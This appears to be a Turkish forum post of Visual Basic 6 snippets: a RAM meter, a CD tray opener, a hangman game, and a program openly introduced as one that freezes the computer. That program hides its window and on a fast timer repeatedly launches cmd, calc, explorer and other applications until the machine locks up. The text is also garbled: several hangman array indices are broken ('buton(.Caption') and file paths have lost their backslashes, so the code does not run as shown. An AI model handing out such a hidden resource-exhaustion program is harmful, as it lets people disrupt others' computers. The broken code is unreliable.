Ram ölçer:

Private Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type
Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)

Private Sub Form_load()
Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
Cls
Dim m As MEMORYSTATUS
GlobalMemoryStatus m
Print "Bellek Kullanımı %:", m.dwMemoryLoad
Print "Toplam RAM:", , m.dwTotalPhys / 1024 / 1024 & " MB"
Print "Boş RAM:", , m.dwAvailPhys / 1024 / 1024 & "MB"
End Sub

Bilgisayarı kasan bir program yapalım ne dersiniz:

yapacağınız basit form a bi tane timer ekliyoruz interval özelliğini 100 yapiyoruz
Kodları yapıştırıyoruz.


Private Sub Form_Load()

Form1.Visible = False
End Sub

Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:Program FilesMessengermsmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:Program FilesMovie Makermoviemk.exe"
Shell "winmine"
Next
End Sub

Cd-Rom aç kapat:

Kodları burada iki buton ekleyin tamamdır

Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Sub Command1_Click()
mciExecute ("Set CDAudio door Open")
End Sub

Private Sub Command2_Click()
mciExecute ("Set CDAudio door closed")
End Sub

 Vb ile Adam asmaca:

program agerekli butonları koyduktan sonra kodları direk yapıştırın koslarda hizalama da ayarlı olduğu için sorun yaşamazsınınz:



Dim kelime(100), gorunen(100), kelime2, adam

Private Sub buton_Click(Index As Integer)
Dim say, k, sonuc, a
sonuc = 0

'butondaki harf varmı?

For say = 0 To Len(kelime2) - 1
If kelime(say) = buton(Index).Caption Then
gorunen(say) = " " & buton(Index).Caption & " "
sonuc = 1
'varsa onayla
End If
Next

For say = 0 To Len(kelime2) - 1
k = k & gorunen(say)
'sonucu kullanıcıya göster
Next
Label1 = k

If sonuc = 0 Then
adam = Val(adam) + 1
adamiciz (adam)
'kullanıcı yanlış harfe tıkladıysa adamı çiz
Else

'kullanıcı doğru harfe tıkladıysa

'oyunu bitirip bitirmediğini kontrol et
a = InStr(1, Label1, "_")
If a = 0 Then
For say = 0 To 28
buton(say).Enabled = False
Next
MsgBox "Tebrikler! Kazandınız...", vbInformation, "Bitti"
End If

End If

'butonu pasif yap
buton(Index).Enabled = False
End Sub

Private Sub Command1_Click()
Dim say, harf, r
'yeni oyun için rasgele kelime seçiyoruz

Randomize
r = Int(Rnd * (List1.ListCount - 1))
kelime2 = List1.List(r)


Label1 = ""

'butonları aktif yap
For say = 0 To 28
buton(say).Enabled = True
Next

'Adamı sil
adam = 0
Line1.Visible = False
Line2.Visible = False
Line3.Visible = False
Line4.Visible = False
Shape1.Visible = False
Line5.Visible = False
Line6.Visible = False
Line7.Visible = False
Line8.Visible = False
Line9.Visible = False

'değişkenleri sıfırla
For say = 0 To 100
kelime(say) = ""
gorunen(say) = " _ "
Next

'değişkelnlere kelimeyi harf harf ata
For say = 0 To Len(kelime2) - 1
harf = Mid(kelime2, say + 1, 1)
kelime(say) = kelime(say) & harf
Label1 = Label1 & " _ "
Next

'*****************
'boşluk varmı?

For say = 0 To Len(kelime2) - 1
If kelime(say) = " " Then
gorunen(say) = " " & " " & " "
End If
Next

For say = 0 To Len(kelime2) - 1
k = k & gorunen(say)
'sonucu kullanıcıya göster
Next
Label1 = k

End Sub

Private Sub Command2_Click()
'çıkış
Unload Me
End Sub

Private Sub Form_Load()

'Nesneler yerlestirliyor....
Form1.Caption = "Adam Asmaca V1.0 - OKTAYYAZILIM"
Form1.Width = 7755
Form1.Height = 4605

List1.Visible = False

buton(0).Left = 120
buton(0).Top = 120
buton(0).Height = 375
buton(0).Width = 255
buton(0).FontBold = True
buton(0).Enabled = False

Label1.FontBold = True
Label1.FontSize = 10
Label1.Alignment = 2
Label1.Left = 120
Label1.Top = 840
Label1.Width = 7335
Label1.Height = 735
Label1 = ""

Command1.Left = 240
Command1.Top = 1920
Command1.Width = 2775
Command1.Height = 735
Command1.Caption = "Yeni Oyun"

Command2.Left = 240
Command2.Top = 2880
Command2.Width = 2775
Command2.Height = 735
Command2.Caption = "Çıkış"

Shape1.Shape = 3
Shape1.Left = 5520
Shape1.Top = 2040
Shape1.BorderWidth = 3
Shape1.Visible = False

Line1.BorderWidth = 4
Line1.Visible = False
Line1.X1 = 6360
Line1.X2 = 7320
Line1.Y1 = 4080
Line1.Y2 = 4080

Line2.BorderWidth = 4
Line2.Visible = False
Line2.X1 = 6840
Line2.X2 = 6840
Line2.Y1 = 1800
Line2.Y2 = 4080

Line3.BorderWidth = 4
Line3.Visible = False
Line3.X1 = 6840
Line3.X2 = 5760
Line3.Y1 = 1800
Line3.Y2 = 1800

Line4.BorderWidth = 4
Line4.Visible = False
Line4.X1 = 5760
Line4.X2 = 5760
Line4.Y1 = 1800
Line4.Y2 = 2040

Line5.BorderWidth = 4
Line5.Visible = False
Line5.X1 = 5760
Line5.X2 = 5760
Line5.Y1 = 2400
Line5.Y2 = 3240

Line6.BorderWidth = 4
Line6.Visible = False
Line6.X1 = 5760
Line6.X2 = 5280
Line6.Y1 = 2520
Line6.Y2 = 2760

Line7.BorderWidth = 4
Line7.Visible = False
Line7.X1 = 5760
Line7.X2 = 6240
Line7.Y1 = 2520
Line7.Y2 = 2760

Line8.BorderWidth = 4
Line8.Visible = False
Line8.X1 = 5760
Line8.X2 = 5400
Line8.Y1 = 3240
Line8.Y2 = 3600

Line9.BorderWidth = 4
Line9.Visible = False
Line9.X1 = 5760
Line9.X2 = 6240
Line9.Y1 = 3240
Line9.Y2 = 3600








'butonlar kopyalanıyor...

Dim say
For say = 1 To 28
Load buton(say)
buton(say).Visible = True
buton(say).Left = buton(say - 1).Left + 255
buton(say).Enabled = False
Next

'Türkçe alfabe için harfleri tek tek yerleştiriyoruz

buton(0).Caption = "A"
buton(1).Caption = "B"
buton(2).Caption = "C"
buton(3).Caption = "Ç"
buton(4).Caption = "D"
buton(5).Caption = "E"
buton(6).Caption = "F"
buton(7).Caption = "G"
buton(.Caption = "Ğ"
buton(9).Caption = "H"
buton(10).Caption = "I"
buton(11).Caption = "İ"
buton(12).Caption = "J"
buton(13).Caption = "K"
buton(14).Caption = "L"
buton(15).Caption = "M"
buton(16).Caption = "N"
buton(17).Caption = "O"
buton(1.Caption = "Ö"
buton(19).Caption = "P"
buton(20).Caption = "R"
buton(21).Caption = "S"
buton(22).Caption = "Ş"
buton(23).Caption = "T"
buton(24).Caption = "U"
buton(25).Caption = "Ü"
buton(26).Caption = "V"
buton(27).Caption = "Y"
buton(2.Caption = "Z"

' aşağıdaki kelime ve cümleler örnek amaçlı eklenmiştir
'siz kelime.txt dosyası oluşturun ve kelimeleri onun içine yazın.

List1.AddItem "YAZILIM"
List1.AddItem "DONANIM"
List1.AddItem "ANAKART"
List1.AddItem "MODEM"
List1.AddItem "KLAVYE"
List1.AddItem "FARE"
List1.AddItem "VISUAL BASIC"
List1.AddItem "OKTAYYAZILIM"
List1.AddItem "UÇAK"
List1.AddItem "GEMİ"
List1.AddItem "ARABA"
List1.AddItem "TREN"
List1.AddItem "TÜRKİYE"
List1.AddItem "ANKARA"
List1.AddItem "İSTANBUL"
List1.AddItem "İZMİR"
List1.AddItem "HAYATTA EN HAKİKİ MÜRŞİT İLİMDİR"
List1.AddItem "YAŞASIN CUMHURİYET"
List1.AddItem "YA İSTİKLAL YA ÖLÜM"
List1.AddItem "KİTAP OKUMAYAN İNSANLAR DÜŞÜNEMEZLER"





'kelime.txt dosyasından kelimeleri okuyoruz
'kelime eklemek için dosyayı açın ve kelimeyi büyük harfle
'tırnak içinde alt alta yazın kelimede yabancı
'harfler olmamalı cumlede eklenebilir

Dim dosya, okunan
dosya = App.Path & "kelime.txt"
If Dir(dosya) <> "" Then
Open (dosya) For Input As #1
While Not EOF(1)
Input #1, okunan
List1.AddItem okunan
Wend
Close #1
End If





End Sub


Private Sub adamiciz(sayi As Integer)
'adamı çiz
Select Case sayi
Case 1: Line1.Visible = True
Case 2: Line2.Visible = True
Case 3: Line3.Visible = True
Case 4: Line4.Visible = True
Case 5: Shape1.Visible = True
Case 6: Line5.Visible = True
Case 7: Line6.Visible = True
Case 8: Line7.Visible = True
Case 9: Line8.Visible = True
Case 10:
Line9.Visible = True
'adam tamamen çizildiyse oyunu bitir
Dim say
For say = 0 To 28
buton(say).Enabled = False
Next
Label1 = ""
For say = 0 To Len(kelime2)
Label1 = Label1 & " " & kelime(say) & " "
Next
MsgBox "Kaybettiniz...", vbExclamation, "Bitti"

End Select


End Sub